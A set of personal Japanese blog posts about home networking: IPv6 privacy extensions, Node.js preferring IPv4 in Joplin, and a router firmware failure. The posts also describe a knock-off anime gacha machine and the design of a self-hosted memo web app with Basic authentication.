
※設定後1日経った今現在でもアドレスが変わっていないので、しばらくは観察する必要がありそうだ。 → 忘れると嫌なので、愛用のcrontabで自動チェックするようにした。

→ (12/2 19:35) 昨日くらいからアドレスが変わるようになった。大体30時間で変わった。設定変更後、OSの再起動またはNW IFの切断と再接続が必要だったようだ。

ただ、これには欠点もある。アドレスがコロコロ変わるので、僕がサーバのログを見て、本当に自分でアクセスしたのか分からないということだ。でもまあ、他の情報から判別できるし、プライバシーの問題の方が重要なので、Privacy extensionsを使うことにした。

一方、Androidはその点はどうなのかと調べたら、結果的には問題なさそうだ。rootになれないのでprivacy extensionsを有効にしたりすることはできないが、挙動を調べたら、v6アドレスが結構頻繁に変化することが分かった。

そもそも、Androidスマフォには2つ(以上)のv6アドレスがある。モバイル(LTE)とWi-Fiである。モバイルは、詳しいタイミングは分からないが、基地局に接続するたび(基地局が変わるたび?)に変わるようだ(機内モードをon/offした前後でアドレスが変わっていた)。Wi-Fiも同様に、APに接続するたびに変わる。

だから、僕の観察が間違っていなければ、Androidに関しても、v6で概ね問題なさそうだということになった。

なお、僕のスマフォ(AQUOS sense lite)はAPN登録時にはv6は無効になっていたが、APN設定でv4/v6のモードに切り替えたら、v6が使えるようになった。MVNOの場合、プロバイダによってはv6が使えないことがあるらしいが、僕は(IIJが下回りらしい)イオンモバイルで、全く問題なく使えた。

随分調子良かったので、このあともこの調子でスルッと行くかと思って気を良くして居たが、やっぱり、そうは問屋が卸してくれなかった。問屋というのは そんなに厳しいのだろうか?w 作業面での手間はなかったが、原因不明で解決が難しそうな問題が残っている。

切っ掛けは、欲を出して早くも(サブ)ドメインをv4/v6両用にしたくなって、v6用に作ったものをそうしてみたところ、一見うまく動いているのだが、Joplinだけがおかしかったことだ。本来の動作は全く問題ないのだが、なぜかサーバのv4のアドレスにアクセスしてしまうのだ。PCのOS(Linux)のv4とv6の優先順位がおかしいせいだろうと考えて、いろいろ調べて調整しても、結局直らなかった。

それで、Joplinのフォーラムに質問を出しつつ、更にJoplinのソースなどを調べたら、確定はできないが、どうやらJoplinの下回りのNode.jsのnode-fetchという通信用モジュールの仕様(または「現状」)によるのではないかと推測している。というのはnode-fetchのcustom agentオプションのうち、v4とv6の切り替えに関係するfamilyは、socket.connectによって以下のように規定されている。

family <number>: Version of IP stack. Must be 4, 6, or 0. The value 0 indicates that both IPv4 and IPv6 addresses are allowed. Default: 0.

字義通り解釈すれば、デフォルトの0で、v4/v6どちらも使える場合に、どちらが使われるか不明(不定)だ。※ 「普通」ならOSの優先順位(Linuxではv6が優先)と同じになると期待するが、実際の動作はそうではない。もちろん、Joplinに「v4優先」という意思や仕様があれば別だが、そうする理由は全くない。また、familyには優先順位が指定できないので、「v4優先」を実装するのは面倒だ。

※Node.jsのそこのソースを読めば分かるだろうが、なかなか面倒だ。一体、Joplinから何階層下がらせるつもりだ!?w

そこで想像してみると、OSまたはシステムコールまたはライブラリからホスト名に対応するIPアドレス一覧を得たあと、familyが0以外ならv4かv6でフィルタリングする。そして、残ったものを使う。複数あっても気にせず、「最初の1個」を使うのだろう。

結局、OSなどからどういうふうにIPアドレス一覧が来るかが問題だ。どうも、単にソートされているだけのような気がする。その場合、v4が先に来る可能性が高そうだ。 (まあ、余計なこと考えてないで、実物を読めば速いのだがw)

(11/29 0:01) 書いた後で更に調査・実験して、ほぼ原因が分かった。Node.jsのDNSモジュールのdns.lookupという関数は、ホスト名からIPアドレスを取得する(これをnode-fetchが使っているかは未確認だが、おそらく使っていると思う)。そのデフォルトの動作はDNSリゾルバの結果をv4のアドレスをv6より先に並べ替えて出すため、Joplinはv4/v6両用ホストに対しては(Linuxの標準・通常動作とは逆に)v4のアドレスにアクセスする。参考のため、dns.lookupの設定を行うオプションverbatimの説明を引用する。

verbatim <boolean> When true, the callback receives IPv4 and IPv6 addresses in the order the DNS resolver returned them. When false, IPv4 addresses are placed before IPv6 addresses. Default: currently false (addresses are reordered) but this is expected to change in the not too distant future. New code should use { verbatim: true }.

確認のため、簡単なプログラム(→ 参照: そのページ下部の"Live Demo"から開けるOnline Node Compilerが便利。ただし、そこではDNS検索は失敗してしまう)で、dns.lookupをv4/v6両用ドメインに対して実行したら、本当にv4アドレスが返って来た。そして、オプションを追加してverbatimをtrueにして実行したらv6アドレスが返って来た。。。

どういう理由か知らない(IPv6の実装が今一つだった頃からの経緯?)が、折角OSが苦労して(そのうえ、ユーザから文句を言われたであろう: )RFCに準拠して並べ替えたIPアドレスを、ライブラリごときが勝手に並べ替えてしまうなんて、余計なお世話もいいとこだ! 上の説明に「近い将来は逆になる」と書いてあるが、現行版ですらこの勝手な動作なので、当面は直りそうにない。ということは、Joplinの問題も直りそうにない。

直すとすれば、自分でNode.jsに手を入れることだろうが、そもそもビルド環境を作るのが面倒だ。更に、Node.jsは結構更新されそうなので、僕の修正を残すようにするのが難しい(でも、できれば爽快だろうな・・・)。

(11/29 12:57) 直し方を検討したが、「まあ不可能」という結論になった。まず、dns.lookup(DNSモジュール)はNodeに埋め込まれている(コンパイルされているようなので、パッチはまずできない。さらに、NodeはJoplinに埋め込まれている)ので、Node(この場合、Joplinも)をビルドし直さない限り入れ替えられない。

次に、dns.lookupは最終的にはLinuxのgetaddrinfo()を呼ぶが、これはlibcまたはlibnssに入っているようで(未確認)、どちらも大変基本的なライブラリなので安易には改造できない。うまくしてライブラリとNodeの間に割り込めばいいが、さすがに、いくら暇でもクソのためにそんな面倒なことはやってられない。

ってことで、気に入らないけど我慢するのがベストだ。

 

てな訳で、別に大きな問題ではないが、喉に魚の小骨が刺さったような気持ち悪さが残っている。しかし、そもそも論とか現実問題としては全く問題ない。というのは、最初に書いたように、v4が使えなくなった時の代替手段が欲しかった。そして、この仕様では、v4が駄目になったら自動でv6に切り替わる(正確には、アクセスする時に、生きているであろうv6が使われる)はずだからだ。

が、通信速度の向上・安定化とか、前回書いた、JPNEのMAP-Eのv4のポート数の上限の問題も改善したいという欲があるので、気に入らない。それで、今は、v6用に作ったドメインをやっぱりv6専用に戻して使っている(他の方にすれば「は?」って感じだろう)。

まあ、(気分は悪いが、)自分用サーバはv6専用でも何も問題ないから、このままでもいいかという気はしている。一つだけ問題が起こる可能性としては、何らかのトラブルでv6だけ通らなくなった場合にアクセスできなくなることだ(そんなことが本当に起こるのか、検討の余地はあるw ただ、ルータ故障時にv6非対応の物に交換したらそうなる)。その時はv4/v6両用の方がいい。ということは、そもそも論で言えば、v4/v6両用にして、Joplin(と他のNode.jsのアプリ?)だけはv4でも見逃すべきなのだろう。もう少し考えよう。

→ 全体的には、しばらくv6用ドメインで試して問題なければ、基本ドメインをv4/v6両用に変更し、v6用ドメインに換えた自分用サーバを使っているアプリの宛先をそっちに戻すのが一番美しそうだ。多くのアプリの設定を戻すのは手間だが、これなら、v6用ドメインは本当にv6用で筋がとおるし、基本ドメインはv4/v6両用で今風になるし、可用性も高まるから、いいことづくめだ。 (本当に?w)

それから、Joplinと似たような問題がEvolution(メーラー)でも起こった。通常時はv6をアクセスするのだが、スリープからの復帰後にv4に戻ってしまうのだ。どうやら、Linuxの動作なのだろうが、復帰時にv6が使えるようになるのが少し遅れるようで、※その関係で先に使えるようになったv4にアクセスしてしまうようだ。

※推測だが、v6の初期化の処理が多いために遅くなるのかも知れない。確かに、普通の処理(v6アドレスの取得・調整?)ですら重そうだし、上に書いたPrivacy extensionsは複雑そうだ。そういう処理はv4には全くないので、時間差ができても不思議はない。

それで、効果確認中だが、Evolutionのネットの設定の"Method to detect online state"を"Always online"にして試している(今まではNet Managerから取得するようにしていた)。これは他の普通のアプリと同じ動作(ネットの状態には関知しない)と考えられるから、一旦v6にアクセスしたら、そのまま使い続けることが期待できる。気になるのは起動時で、その時にv4だったら嫌だから、ログイン時の自動起動では数秒送らせて起動するようにした(ログイン時はスリープと違ってOSは普通に起動しているので、必要ない気もするが・・・)。

 

最後に、v6化した効果というのか、v4のポート数の削減率を調べたところ、当然ながらあった。僕のサーバ以外にもv6対応のサーバ・サイト(例: メールサーバ)があるため、アイドル時(例: Webブラウズしていない時)のv4のポート数が半分くらいに減り、その分がv6になった。以下に例を示す。

デスクトップPCで使っているTCPの全ポート数

  • アイドル時
    • v4: 15
    • v6: 15
  • アクティブ時
    • v4: 38
    • v6: 14

デスクトップPCで使っているTCPのポート数(自分用サーバとプロバイダのメールサーバ宛のもの)

  • アイドル時
    • v4: 3
    • v6: 10
  • アクティブ時
    • v4: 15
    • v6: 10

v6を使わない場合に比べ、v4率は、全ポートでは約27-50%減少し、自分用サーバなどに関しては約40-77%減少した。

とはいえ、もちろん、「Webの表示やJoplinの同期が倍速になった!」とかいうことは全くないw

 

という訳で、少し前までは使いたくもなかったIPv6を頼まれてもいないのにゴリゴリ使うことになって、いつものように疲れたでござるw

  •  0
  •  0

今朝、PCを起動したら、いきなりメールがエラーの山になった。ブラウザの各タブも軒並みエラーになった。調べたらネットが繋がっていなかった。「やれやれ」と とりあえずルータを再起動しても直らず、VDSLモデムを再起動しても直らなかったので、ちょっと慌てた。ルータの表示やログにはエラーは出ていなかった。

それで、スマフォ(LTE)でプロバイダ(DTI光)に問い合わせを出した。※ が、まあ、ルータの故障の可能性が高いので、プロバイダに問題がない場合は、一時的にPPPoEに戻してもらって古いルータに交換して、修理依頼しようと思った。

※案の定、サポートのページはPC前提のようで、文字が小さくて見にくいのはいいとしても、なぜか、問い合わせの文字を入れると全体の高さが増えて、フォームの下にある送信のボタンが隠れて送れない(ChromeとOperaどちらも)という謎仕様だった。仕方ないので、非会員用のフォームから送った(なぜか、こちらはまともだった)。

もちろんこれで諦める訳でもなくw、もう少し調べたら、IPv6(以下、v6)のサイト(例: v6対応のDNSサーバ, JPNEのIPv6チェック, Googleニュース(ただ、内容が古い), FASTの速度測定)には繋がった。

あと、DTIのサポートサイトも実はv6で繋がるので、上記のようにスマフォで苦労して入力する必要はなかったが、その時は分からなかった。

ちなみに、v6で繋がるかは、Linuxだとnslookupコマンドやhostコマンドで分かる。対応している場合はv6アドレスが出る。ただ、v4でもv6でも繋がらない場合は、そもそも何も出ない。

それで更に調べたら、ルータ(I/Oデータ WN-SX300GR)のファームウェア(以下、ファーム)が今月頭に自動更新されていたことが分かった。それから、今朝(3時頃)、プロバイダが障害を起こしていた。

偶然の一致だとは思うが、丁度その少し前(2:52)からAWS(US)が障害を起こしていた。もし関係しているとすれば、IPv4関係のサーバにAWSを使っているのだろうか。 (18:19)

ということは、プロバイダの障害対応に問題があった可能性はわずかにあるものの、ルータの新しいファームがおかしい可能性が高いので、一つ前のに戻してみることにした。すると、嘘のように問題なく繋がるようになった。

ファームを戻すのに、ルータの「初期化」でできるのか分からなかったので、スマフォでダウンロードした。それをUSBでPCに送り(ネットが駄目なので、最初はどうしたものかと思ったw)、EXE形式だったので※、一旦VirtualBoxのWindowsで展開してルータに入れた。

※それにしても、なぜ、単に展開(「解凍」)するだけのものをEXEにするのか意味不明だ。普通にZIPで圧縮すればいいものを・・・ (もしかして、外部ツールを使わずに展開できるようにしたのか)

しかも、笑える(笑えない)のは、そのEXE(EXEpressというもので作ったらしい)の方が中身のファームより大きいことだ。圧縮の意味はなく、単にreadme.txtを同梱したかっただけのようだ・・・ やっぱり、今話題の「暗号化ZIP付きメール」みたいなものだ。

ということは、プロバイダ(実際にはJPNE?)の障害対応で あちらの機器を再起動したので、ルータも接続処理を最初から始めようとして、そのネゴシエーション時にバグとか相性が発現して駄目になったのではないだろうか。だから、新しいファームになってから こちらのルータを再起動したら駄目だったはずだ。

書いたあとで気付いたが、ファームの自動更新後にルータは再起動するはずで、その時に問題が出なかったのは腑に落ちない。プロバイダ側にも、近頃や今回何か変わったなど、問題の原因があるのかも知れない。いまだに回答が来ないので、何とも言えないが。 (18:22)

プロバイダの回答にもよるが、まあ、向こうの機器がおかしかったらもっと大量の苦情が出るはずだから、このルータの問題だろう。時間が経ってから問題が出るのは怖い。とりあえず、ファームの自動更新はoffにした。

でも、他の人は大丈夫なのだろうか? 問題が出ていないのかユーザが少ないのか、これから出るのか(「全然繋がらない」、「突然壊れた」?)。プロバイダの回答が来たら、ルータのメーカーに連絡しようと思う。

プロバイダから回答があり、今回は設定の変更などはないとのこと。上記のように腑に落ちない点はあり、もしかしたら、(今回でなく)近頃変わった可能性はわずかにあるが、90%以上はルータ側の問題だろう。

って訳で、やっぱり時限爆弾だったようだ。 (18:40)

(22:02) ルータのv4通信が駄目になったことの遠因として考えられるのは、上にも書いたようにAWSの障害だ。Downdetectorグラフ(リンク先はキャプチャ)を見ると、ルータがおかしかった9時頃には日本からの報告が最初のピークになっている。ということは、落ちたAWSに国内からアクセスしている端末が頻繁にリトライを繰り返してフレッツ網が重くなったために、ルータのv4通信が正常に動かなくなってしまった可能性がある。実際、14時頃に速度を測定したら、遅いうえに変動が激しかった。ただ、リトライでそこまで通信量が増えるとは考えにくい。それとも、通信量でなくセッション数がオーバーして駄目になったのだろうか。IPoEのIPv4はそれがないはずだが・・・

(22:58) 寝ようとして もう一個思い付いた。IPoEのIPv4はMAP-Eで、今のプロバイダはJPNEを使っているので、ルータ当たりで使用可能なポート数は225個である。以前検討して通常時は問題ないとしたが、今回は、PC起動時には全く接続できない状態だったため、PCとスマフォからのリトライが多発してポート数が足りなくなって、接続できない状態が続いたのかも知れない。確かに、ルータを再起動した直後の短時間(1分間程度)は通信できていたがすぐに駄目になった。通信が回復した途端に多くのプロセスが通信し出して、また駄目になっていたのかも知れない。特に、ブラウザは多くのタブがあるので、一度に通信し出したらとんでもないことになる。

最初のPC起動時に駄目だった理由は分からないが、ポート数の問題だとすれば、しばらく(結構長い)待てば回復するはずで、それが丁度、ファームを古いものに戻した頃だったのかも知れない。

最初のPC起動時に駄目だった理由として考えられることは、新しいファームは微妙にタイムアウトが短いなどネット(フレッツ網)の輻輳に弱いためかも知れない。

ポート数の問題だったかは、ファームを再度最新にして試すか、今のファームでも、ルータをモデムから切り離してしばらくしてからPCを起動すれば分かるが、どちらもなかなか面倒だ。 → 後者を寝る前に試す。

(11/27 5:49) 完全に同じ状況ではないが、ポート数不足は起こらなそうだ。PCの起動時に一番多いのはメーラー(Evolution)のIMAPでのメール取得で、ブラウザは自分でリロードなどしない限りは接続しない。メール取得中にブラウザでいろいろ開いた時の使用ポート数は81だったから、余裕がある。一方、スマフォはしばらくWi-Fi経由で接続できないと自動で無効にするようなので、接続再開時に一気に接続が増えることはなさそうだ。

つまり、何らかの原因でルータのファームとプロバイダとの相性のようなものが発現した可能性が高い。それをメーカーに指摘しても、大抵は分からず仕舞いな気がする。

それで、ポート数不足の予防や同じ問題が起こった場合に何もできない事態を減らす事前対処として、なるべくv4での接続を減らすようにした。具体的には、Evolutionの各IMAPアカウントの同時接続数を1に減らし、使っているメールサーバ(さくらのメールボックス)のv6対応をonにした(知らなかったが、そういう設定があった)。あと、バックアップに使っているオンラインストレージBackblaze B2もv6対応しているようだが、バックアップソフトduplicacyは使わないようだ。積極的に使わないのでなく、APIで指定されたホストがv4なのかと想像している。※

※近頃のログを見たらいつも同じホストなので、もしかしたら、最初にバケット(記憶領域)を作った時にホストが決まり、それがv4のみに対応しているのかも知れない(ストレージは容易に移動できないので、その可能性が高い)。今後の対応に期待したい。

 

それにしても、僕にとってはネットはライフラインであることを再認識した。今回はスマフォがあって良かったが、もしなかったら、本当に にっちもさっちも行かなかった(電話じゃファームのダウンロードなんてできない!)。だから、無駄なようだけど二重化は意味がある。

そして、そういうすごく重要なところに安いルータを使っているのは良くないことに気付いた。十年近く使えるのだから、1-2万円くらいのにしても良さそうだった。※ が、時既に遅しだ。それに、国内のN社は評判はいいけど(近頃は微妙な感じ)好きじゃないし、Y社はすっごく高いしWi-Fiのはないからな。まあ、問題が頻発したら交換を考えよう。

※思い出した。当時はv6にする効果(高速化)に疑問があったので、とりあえず試すために安い物を買ったのだ。今はv6でないと使い物にならないので、次は高目のものを買えばいい。

 

PS. 今回、意外にIPv6対応のサイトが少ないのを実感した。Googleはまあ優等生だが、tenki.jpとかYahoo!天気など、いかにも対応してそうなところが駄目だった。そもそも このブログも駄目だしw

あと、こういう時のために自前でv6→v4変換サービス(プロキシみたいなもの)を作りたくなったが、なかなか面倒だし、今回のようにv4だけ駄目っていう障害は稀だろうし、ファームを戻したら回復したので、早くも「喉元過ぎれば」となって「また今度」にしたw

でも、意味があるかは疑問だが、とりあえずこのサーバをv6対応にしたい気もしている。

PS2. ネットが駄目な状況でもJoplinは問題なく使えたので、感心した。PCからもスマフォからも何事もなく読み書き出来(もちろん、同じノートは同時に変更していない)、ネットが繋がったら普通に同期した。某Evernote(web)ではエラーが出て使い物にならなかっただろう。

  •  0
  •  0

スーパーの前だけどちょっとひなびた場所に、「鬼滅の刃」の類似品(「鬼刻の刀」: 少し前にネットで話題になったようだ)のガチャガチャがあった。やっぱり田舎は昔ながらでパチ物が多いなと、なごんだ。でも、今はスマフォとかが発達しているのに、こういうのを買ってしまう子どもはまだ居るのかと疑問に思った。

あ、親が頼まれてとか お土産(子どもが日頃から「鬼滅鬼滅」とか言っているので)にうっかり買って、「あれ買って来たよ、鬼のなんとかいうの」とか言いながら出して がっかりされるパターンはありそうだ。何ともほのぼのとしてしまうw

でもまあ、ガチャガチャは親は頼まれないし、大人が自分ではやらないか・・・

 

PS. ちなみに、僕はこの作品は全く知らない。絵柄とかが好きでないから、知ることはなさそうだ。でも、キャラの名前が古風なのはいいかも知れない。ちょっと凝り過ぎ(字の画が多くて力んでいる感じで、読むと疲れそう)だけど。

  •  1
  •  0

Evernoteからの脱却の一環として先日作った、WriteNoteの代わりのメモアプリ・システム BNoteを改良、というか何度も作り直して居た。いろいろ試したものの、結局、25年くらい前を彷彿させる※素っ気ないwebとなった。

※でも、marqueeやアニメGIFは使ってないので許されそうだw

僕にとって一番重要なのは、主に外出先で手軽に「サッと」ノート(タイムスタンプ付きメモ)を書くことができる、しかも、入力欄が大きくて見やすい・書きやすいということで、それらは充分に満たしているし、自分だけで使うものなので、やり過ぎるのは疲れるうえに馬鹿らしいから、とりあえずは良しとした。

以下にその変遷を書く。

  1. Automagic版
    • Automagicに問題はなかったが、この夏に終了になってしまったため、なるべく移行した方がいいと考えた。
    • また、入力欄が小さい(ほとんど調整できない)のがちょっと気に入らなかった。
  2. Automate版: 初期の機能確認まで
    • Automagicの代替アプリのひとつ、Automateを試してみた。
    • 機能的には使えそうなことは分かった(入力欄はAutomagicより良かった)が、有料だし面倒(グラフィカルなプログラミングはスマフォでしかできないので、結構疲れるし、何をするにもやり方が違う)なので止めた。
    • 入れたら電池消費が増えた(本当かは不明)気がしたのも、止めた理由の一つ。
  3. Web版 (作らなかったかも: 記憶が曖昧)
    • 試しに作って動いたが、ちゃんと使うには認証が必要なので、WordPress版に移行した。
  4. WordPress版
    • WordPress(以下WP)の非公開の投稿(ログインしないと表示できない)に無理やり(<pre>の中に入れた)HTMLとプログラム(PHP)を書いて、ノートが書けるようにした。
    • WPで認証できるメリットがあったため、やってみた。
  5. Web版 (WPで認証)
    • さすがに(中身が)綺麗でなかったので、単独のwebページにした。ただ、認証は必要なので、(無理やり)WPの認証を使った。
      • どういう仕組みかは分からないが、wp-load.phpを取り込むと、ログインしているかの確認ができる。
  6. Web版 (Joplinに保存): 中止
    • サーバにJoplinアプリ(コマンドライン版)をインストールすれば、自動でJoplinに取り込めて便利だと考えたが、以下の理由で中止した。
      • サーバにJoplinのストレージのNextcloud(以下NC)のアカウント情報を保存するのは良くない。
      • Joplinアプリのキャッシュ(Joplinのノート全部が入る)は暗号化されないが、それではNCのストレージを暗号化している意味がなくなる。
  7. Web版 (NC管理下に保存)
    • ノートのファイルをNCの管理下に保存し、NCでデスクトップPCに同期できるようにした。
    • NCの仕様により、ノートは平文で保存している。
      • BNoteのノートは量が少ないので、許容することにした。
  8. NCのFormsアプリ改造版: 断念
    • ファイルはNCに保存するのに認証がWPなのは変なので、NCの認証が効くNCのアプリを利用しようとしたが、断念した。
    • Formsアプリ(アンケートなどに使うアプリ)が結果が見やすいので試してみた。
      • Formsの入力ページを外のページのIFRAMEに入れて位置情報を追加しようとした。
        • しかし、どうしてもFormsの入力フィールドに位置情報を設定(自動記入)できなかった(設定してもサーバに届かない)ので、諦めた。
  9. NCの外部サイト版: 断念
    • NCから外部サイトを開ける機能にBNoteのweb版を指定して、NCの認証を利用しようとしたが、手軽に使える認証情報はなかった。
      • その情報(例: 外のNCのページのrequesttoken)とNCのDB内に保存された値を比較すれば、認証しているか確認できそうだと考えたが、DB内には見つからなかった。
    • NCのOAuth2機能が使えそうだったが、それほど手軽ではなかったので断念した。
  10. WP版 (Basic認証+α) ← 今ここ
    • 既にある手軽な認証機能を使うのを諦め、(昔ながらに)自分で認証することにした。
    • HTTPSなら、Basic認証は(カッコ悪いけど)それほど脆弱でないので、そうした。
    • また、愉快犯によるブルートフォース攻撃を避けるため、URLのパスを"bnote"のような分かりやすいものでなく暗号みたいな文字列にして、ログインを試すこと自体を難しくした。
      • 仮にログインできても、ノートが書けるだけで読めないので、(DoS攻撃は別として)致命的な問題は起こらなそう。
      • とは言え、変な引数やバッファオーバーフローなど、考慮していない脆弱性があるかも知れないので慎重を期した。

以下に、作った(出来た)ものについて書く。

BNoteの機能

  • スマフォで(PCでも)短いノート(タイムスタンプ付メモ)が書ける。
    • ブラウザで動くのでアプリのインストールは不要。
      • ただし、スマフォの場合、Operaでは位置が取れず、Firefoxはなぜかハングして表示できないので、事実上はChrome系しか使えない。
  • 各ノートには時刻と位置(取得可能な場合)が追加される。
    • 各ノート間は空行で区切られる。
    • その日の最初のノートの前には日付も入る。
  • 一日分のノートは1個のファイル(ファイル名に日付が入る)にまとめられる。
    • ユーザ(一人しか居ないが)・年ごとに別のディレクトリになる。
  • ノートのファイルはサーバに作成され、自動でデスクトップPCに同期される。
  • ノートを新規作成・更新したらメールで通知が来る。(Joplinへの転記忘れを防ぐため)

 

実装メモ

  • 認証: Basic認証
    • 上記のとおり、HTTPSならそれほど脆弱でないと考えた。
  • ノートの入力: HTML(FORM, textarea)
    • ノートをJavaScriptで送るためPOSTは面倒だったので、GETを使っている(URLのクエリー文字列にノートを含めている)。それぞれのノートは短いので、GETでも大きな問題はなさそうだと考えた。
  • 位置の取得: JavaScript
    • 送信ボタンを押した時に位置を取得し、ノートと一緒にサーバに送る。
    • 位置取得条件は「何でも可」(高精度でなくても可、無限に過去のものも可)にして、電池消費を増やさないようにしている。また、「あればいい」スタンスなので、取得タイムアウトを0.5秒と短めにした。
  • ノートへの時刻・位置情報の自動付加: PHP
    • ノートの送信時刻を各ノートの前に付け、位置(送られて来たら)を後ろに追加して、ファイルに記録する。
    • 時刻は、クライアント(ブラウザ)から送られて来たらそれを使い、なければサーバでの受信時刻を使う。
  • ノートの保存先: 通常のファイル (NCで同期)
    • NC(暗号化ストレージ)以外で作成・更新したファイルの取り込みを容易にするため、「外部ストレージ」の機能を使った。
  • ノートの同期: Nextcloudアプリ
    • 今までは別のファイルをrcloneで同期していたが、こちらのほうがリアルタイム性があって便利なので、全部を切り替えた。
  • 新規作成・更新ノートの通知: crontab+find
    • 定期的に検索している。
      • 最後に最新だったファイル名を保存しておき、それより新しいものを調べている。

問題点・TODO

  • サーバが停まっていたり、通信出来ない場合はノートが書けない。
    • そういう時は、エディタやJoplinを使うとか、手で紙に書けばいいか。。。
      • 通信できる場合は、元祖のWriteNoteを使ってもいい。
    • ブラウザのローカルストレージを使う手もありそうだが、なかなか面倒そうだし、やり過ぎだろう。
  • 複数のセッションで同時に書き込むと、きっと良くないことが起こる。
    • 対応するとすれば、書き込む時に排他制御するのだろうが、一人で同時に別の端末から書き込むことは物理的にできないので、対処しなくても大きな問題ではない。
  • 位置の取得条件などを変えられると便利かも。
    • そういう設定を付けても、いじることはまずなさそう・・・

その他

  • FirefoxのAndroid版は、上記のようにハングしたり位置が取れないだけでなく、viewportの動作がChromeやOperaと違っていた(textareaの幅がものすごく広くなった)ので、以前もそうだったが、相変わらず使えないと思った。
  • Operaで位置が取れないのは、navigator.geolocation.getCurrentPosition()のオプションの高精度("enableHighAccuracy")を有効にしていないからかも知れない。(未確認: これを指定すると電池を食いそうなので、余りしたくない)
  • 今はノートの記入にはChromeを使っていて、電池消費が気になるが、使いながら確認したい。
  • JavaScriptを使うと、(セキュリティ上の条件はあるが)iframeの親(外)や子(中)にアクセスできることが分かり、なかなか強力だと感心した。

 

PS. Evernoteからの脱却はほとんど終わったようなものだ。近頃はEvernoteでノートを書くどころか、全然アクセスしていない。あとは残りのノートをJoplinに移行する「だけ」だからロボットにでも頼めばいいが、適当なものがないのでw、やる気が出た時にやろうと思っている。ノートの数が多いので、重要なものだけは目で確認し、残りは一括処理しようと思っていて、その準備は大体できている。あとは一括処理するスクリプトを書く「だけ」だ。これもロボットに頼みたい(爆)

なお、Joplinは最高とは言えないが、少なくともEvernoteの10倍は いい。自分でいろいろ いじれるのもいい。ただ、Androidアプリはもう少し頑張って欲しい(大きいノートではビューア以外に使うのはキツい)。今はデスクトップ版に注力している感じなので、今後に期待したい。

PS2. その後、Hacker newsを見ていたら、僕と同じようにタイムスタンプ付きメモをしたい人(→ 元のスレッド: jlduggerという人のコメント)が居ることを知り、そのためのツール(jrnl)があることを知った。ノートの記録(表示)のされ方がBNoteそっくりなのに驚いた。 (11/26 14:16)

  •  0
  •  1